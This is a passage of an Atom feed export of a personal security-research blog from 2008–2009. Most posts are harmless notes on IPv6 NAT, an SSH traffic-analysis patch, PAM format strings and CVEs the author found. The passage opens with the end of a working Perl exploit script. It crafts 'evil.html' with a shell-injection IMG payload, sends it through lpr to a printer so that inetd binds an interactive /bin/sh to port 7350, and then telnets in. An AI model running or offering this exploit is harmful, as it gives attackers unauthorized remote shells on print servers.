0);"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;              &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\t&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;printhost   -- name of printer in /etc/printcap&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;              &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\t&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;remote-host -- IP or hostname of host where shell appears&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;              &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(192, 0, 0);"&gt;$0&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt; lp 127.0.0.1' is recommended for everyones own machine&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n\n&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;exit&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;my&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;$printhost&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; = &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;shift&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; || usage();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;my&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;$remote&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; = &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;shift&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; || usage();&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;print&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;Constructing evil.html ...&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;open&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; O, &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;&amp;gt;evil.html&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;or&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;die&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(192, 0, 0);"&gt;$!&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;print&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; O&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;__eof__;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;&amp;lt;HTML&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;&amp;lt;IMG SRC="|IFS=A;X=A;echo\${X}7350\${X}stream\${X}tcp\${X}nowait\${X}lp\${X}/bin/sh\${X}-i|dd\${X}of=/tmp/f;inetd\${X}/tmp/f"&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;&amp;lt;/HTML&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;__eof__&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;close&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; O;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;fork&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;() == &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;exec&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;/usr/bin/lpr&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;-P&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;$printhost&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;evil.html&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;wait&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;sleep&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;print&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;Connecting ...&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;exec&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;/usr/bin/telnet&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 128, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;$remote&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;7350&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-417759266436758190?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/417759266436758190/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=417759266436758190' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/417759266436758190'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/417759266436758190'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/03/some-news.html' title='Some news'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-755727409324714602</id><published>2009-02-06T07:09:00.000-08:00</published><updated>2009-02-06T07:30:05.751-08:00</updated><title type='text'>James Bond seriously wounded in action</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DbsW_SGQJgI/SYxWKExxLVI/AAAAAAAAAGA/fpIt6OijgqE/s1600-h/fun1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_DbsW_SGQJgI/SYxWKExxLVI/AAAAAAAAAGA/fpIt6OijgqE/s400/fun1.jpg" alt="" id="BLOGGER_PHOTO_ID_5299705592589397330" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I am impressed. The readers of this little blog still seem to be what they learned as a kid on foreign&lt;br /&gt;Sun's. Guerilla :-) No comment on my postings, never, or at least very rarely. But, its really read!&lt;br /&gt;The last posting produced &gt; 700 hits in less than 2 days to the perl code morphing example.&lt;br /&gt;Without actually really announcing it somewhere at big places.&lt;br /&gt;Cleaned from accesses of the google-bot etc there is still ~ 700 hits. Thats great!&lt;br /&gt;So, I will continue. From time to time :-)&lt;br /&gt;&lt;br /&gt;As a thank-you I will post a picture I took at a car park on one of my walks through the city together with&lt;br /&gt;a good friend of mine. We used to take large walks of about 3h or so mostly in urban places,&lt;br /&gt;dumpster-dive or attend on closed conferences or events where we were never invited at, shaking hands&lt;br /&gt;with some big NATO generals for example. Its just a matter of who you say you are.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-755727409324714602?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/755727409324714602/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=755727409324714602' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/755727409324714602'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/755727409324714602'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/02/james-bond-seriously-woudned-in-action.html' title='James Bond seriously wounded in action'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_DbsW_SGQJgI/SYxWKExxLVI/AAAAAAAAAGA/fpIt6OijgqE/s72-c/fun1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-7812625703040735591</id><published>2009-02-04T02:34:00.000-08:00</published><updated>2009-02-04T02:59:51.640-08:00</updated><title type='text'>$_='print"\$_=\47$_\47;eval"';eval</title><content type='html'>If you enjoy self-generating, self-replicating or self-modifying code as much as me,&lt;br /&gt;you can have a look &lt;a href="http://stealth.openwall.net/more-perl"&gt;here&lt;/a&gt;. The exponential more-perl engine is probably&lt;br /&gt;never executed in the 5th generation, except you have plenty of RAM&lt;br /&gt;and CPU power (e.g. you work for google:).&lt;br /&gt;All samples you can download execute the same code at the end, even though&lt;br /&gt;they need to un-nest and reorder the instructions until original code,&lt;br /&gt;including comments, is reached.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-7812625703040735591?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/7812625703040735591/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=7812625703040735591' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7812625703040735591'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7812625703040735591'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/02/code-morphing-in-perl.html' title='$_=&apos;print&quot;\$_=\47$_\47;eval&quot;&apos;;eval'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-1561536843604020335</id><published>2009-01-28T04:46:00.000-08:00</published><updated>2009-01-28T04:55:04.897-08:00</updated><title type='text'>IPv6 NAT</title><content type='html'>During my last ITO project I worked on a solution to implement some kind of NAT&lt;br /&gt;for IPv6. Packet-mangling solutions such as &lt;span style="font-style: italic;"&gt;netfilter &lt;/span&gt;are missing IPv6 NAT for a good&lt;br /&gt;reason: One of IPv6' design goals was the end-to-end principle and NAT often puts&lt;br /&gt;people in the wrong feeling of security. NAT is one major reason why VoIP-breakhrough&lt;br /&gt;came so late.&lt;br /&gt;However, transparent proxying and redirection of connections is also done via NAT,&lt;br /&gt;and thats where NAT for IPv6 makes sense: to setup SPAM-traps, transparent&lt;br /&gt;virii-scanning or HTTP proxies. My &lt;a href="http://www.suse.de/%7Ekrahmer/ip6nat"&gt;solution&lt;/a&gt; works on Linux kernels &gt;= 2.6.14,&lt;br /&gt;running as a normal user-space daemon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-1561536843604020335?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/1561536843604020335/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=1561536843604020335' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1561536843604020335'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1561536843604020335'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/01/ipv6-nat.html' title='IPv6 NAT'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-9042531653156054362</id><published>2009-01-07T01:38:00.000-08:00</published><updated>2009-01-07T01:49:44.247-08:00</updated><title type='text'>Happy new 2009!</title><content type='html'>Recent 25c3 was a funny event, although I missed a couple of friends to talk to.&lt;br /&gt;&lt;br /&gt;So, I could use some time-slots to talk to the OpenBSD folks about security,&lt;br /&gt;which is always funny. Beside our differences about the meaning of &lt;span style="font-style: italic;"&gt;exploitability,&lt;br /&gt;&lt;/span&gt;they nevertheless do a &lt;span style="font-weight: bold;"&gt;good job and I highly respect their voluntary work&lt;/span&gt;&lt;span style="font-style: italic;"&gt;, &lt;/span&gt;in&lt;br /&gt;particular in a $$-driven (security-)world. Even on such  event,  about 2/3 of&lt;br /&gt;the folks only talk about $$ and what kind of customer is waiting for new&lt;br /&gt;'solutions'.&lt;br /&gt;Thanks to the french telco guys for the free beer and the funny stories.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-9042531653156054362?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/9042531653156054362/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=9042531653156054362' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/9042531653156054362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/9042531653156054362'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/01/happy-new-2009.html' title='Happy new 2009!'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-2088228272336459972</id><published>2008-12-22T02:29:00.000-08:00</published><updated>2008-12-22T02:41:55.778-08:00</updated><title type='text'>SSHv2 trickery</title><content type='html'>Current SSHv2 implementations suffer from a 'vulnerability' that allows traffic analysis&lt;br /&gt;to match incoming and outgoing connections from a box. In case you use a SSH shell&lt;br /&gt;on some box for anonymity before you SSH to some other box, a global observer&lt;br /&gt;may correlate the traffic on the end-box and the box in between to find out&lt;br /&gt;who actually connected to the end-box. Especially by observing packet sizes&lt;br /&gt;and time differences of the connection, it is possible to see when something is typed&lt;br /&gt;and what amount of output comes back. This works no matter of how many&lt;br /&gt;hops are in between. It is then possible to finally find out the originating IP address.&lt;br /&gt;SSHv2 specification was not really designed for anonymity or measures against&lt;br /&gt;advanced traffic analysis, even if they have SSH_MSG_IGNORE packets.&lt;br /&gt;I wrote a patch that adds constant delay and packet-size to the connection no matter&lt;br /&gt;whether something is typed and how much is done one the connection.&lt;br /&gt;You can find it &lt;a href="http://www.suse.de/%7Ekrahmer/openssh-5.1.p1.const-delay.diff"&gt;&lt;span style="text-decoration: underline;"&gt;here&lt;/span&gt;&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-2088228272336459972?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/2088228272336459972/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=2088228272336459972' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2088228272336459972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2088228272336459972'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2008/12/sshv2-trickery.html' title='SSHv2 trickery'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-2027064119045305577</id><published>2008-10-22T02:38:00.000-07:00</published><updated>2008-10-22T02:48:46.012-07:00</updated><title type='text'>PAM spam</title><content type='html'>About &lt;span style="font-weight: bold;"&gt;PAM&lt;/span&gt;, the cool &lt;span style="font-style: italic;"&gt;Pluggable Authentication Modules&lt;/span&gt; common across&lt;br /&gt;all major Linux dists.&lt;br /&gt;&lt;br /&gt;I recently was involved in a project that used PAM to authenticate users via some&lt;br /&gt;special kind of hardware. A note to developers and reviewers: keep in mind&lt;br /&gt;that &lt;span style="font-style: italic;"&gt;pam_syslog()&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;pam_prompt()&lt;/span&gt; expect a format string as argument.&lt;br /&gt;In case you write your own log-wrapping code which expects format strings itself,&lt;br /&gt;you still need to pass resulting strings via the "%s" format specifier to these &lt;span style="font-style: italic;"&gt;pam&lt;/span&gt; functions!&lt;br /&gt;Keep in mind that attackers may pass&lt;br /&gt;strings like "%%s%%n" to the first (correct) format-resolver which open a format string vulnerability&lt;br /&gt;to following incorrect calls as it is shrinked to "%s%n".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-2027064119045305577?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/2027064119045305577/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=2027064119045305577' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2027064119045305577'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2027064119045305577'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2008/10/pam-spam.html' title='PAM spam'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3755480567096632410</id><published>2008-10-13T01:22:00.000-07:00</published><updated>2008-10-13T01:35:04.199-07:00</updated><title type='text'>Linus blogs!</title><content type='html'>It has been once more proved to me that blogs are, most of the time, not really&lt;br /&gt;worth reading. Especially if they do not cover any technical or scientific details&lt;br /&gt;(such as this posting :). Even more weird, a blog about family stuff and dogs&lt;br /&gt;which is interesting like a XSS-attack inside &lt;span style="font-weight: bold;"&gt;cat&lt;/span&gt;. Really worth announcing it at heise news.&lt;br /&gt;Apparently even more worth for people to reply with 100's of comments for such postings.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3755480567096632410?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3755480567096632410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3755480567096632410' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3755480567096632410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3755480567096632410'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2008/10/linus-blogs.html' title='Linus blogs!'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-6363436931229370927</id><published>2008-08-13T03:10:00.000-07:00</published><updated>2008-08-15T02:22:06.266-07:00</updated><title type='text'>postfix trickery</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DbsW_SGQJgI/SKK00z92tHI/AAAAAAAAAEE/O0YCug925KI/s1600-h/postfix.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_DbsW_SGQJgI/SKK00z92tHI/AAAAAAAAAEE/O0YCug925KI/s400/postfix.jpg" alt="" id="BLOGGER_PHOTO_ID_5233944536353780850" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Eventually, after years of research, I was able to add &lt;span style="font-style: italic;"&gt;postfix&lt;br /&gt;&lt;/span&gt;to my personal list of &lt;span style="font-weight: bold;"&gt;the exceptional exploited&lt;/span&gt; programs (exexpro) }|-) &lt;br /&gt;&lt;br /&gt;As of now, updates are already available. CVE-2008-2936 and&lt;span class="quote"&gt;&lt;span style="font-family:monospace;"&gt; &lt;/span&gt;CVE-2008-2937&lt;/span&gt;&lt;br /&gt;have been assigned to this issue. My dear colleague Thomas will have sent an advisory out today&lt;br /&gt;(writing this one day before the CRD).&lt;br /&gt;So far, my &lt;span style="font-weight: bold;"&gt;exexpro &lt;/span&gt;list has grown to contain the following (random order):&lt;br /&gt;Postfix, rsync, traceroute, modprobe/kernel, vixie crontab, suidperl, sudo, lpr, cups,&lt;br /&gt;ppp, ippp, LIDS, hylafax, racoon to just name the more popular ones. Some of them appear multiple&lt;br /&gt;times, some of them only affected BSD systems.  The OpenBSD team was so kind to&lt;br /&gt;offer me a poster for a local root exploit in ppp years ago. Additionally,&lt;br /&gt;dozens of less popular programs appear on the list such as&lt;br /&gt;imwheel, kreatecd, dip, wmcdplay various other K* programs etc. For all of them I wrote an exploit.&lt;br /&gt;I am not able to provide exploits anymore due to the new law about this in Germany.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The exceptional exploited &lt;/span&gt;also contains weak implementations of secure protocols (SSL, SSH)&lt;br /&gt;or weak protocols itself (CHAP) or absolutely uncommon exploits (see last posting for instance).&lt;br /&gt;&lt;br /&gt;Lets hope that I can continue the trickery list in future and let the targets be smart and&lt;br /&gt;popular. Only the minority of issues have been overflow or related bugs, BTW.&lt;br /&gt;&lt;br /&gt;I hope you enjoy non-XSS related issues :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-6363436931229370927?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/6363436931229370927/comments/default' title='Post Comments'/><link rel='replies' type='text/html' 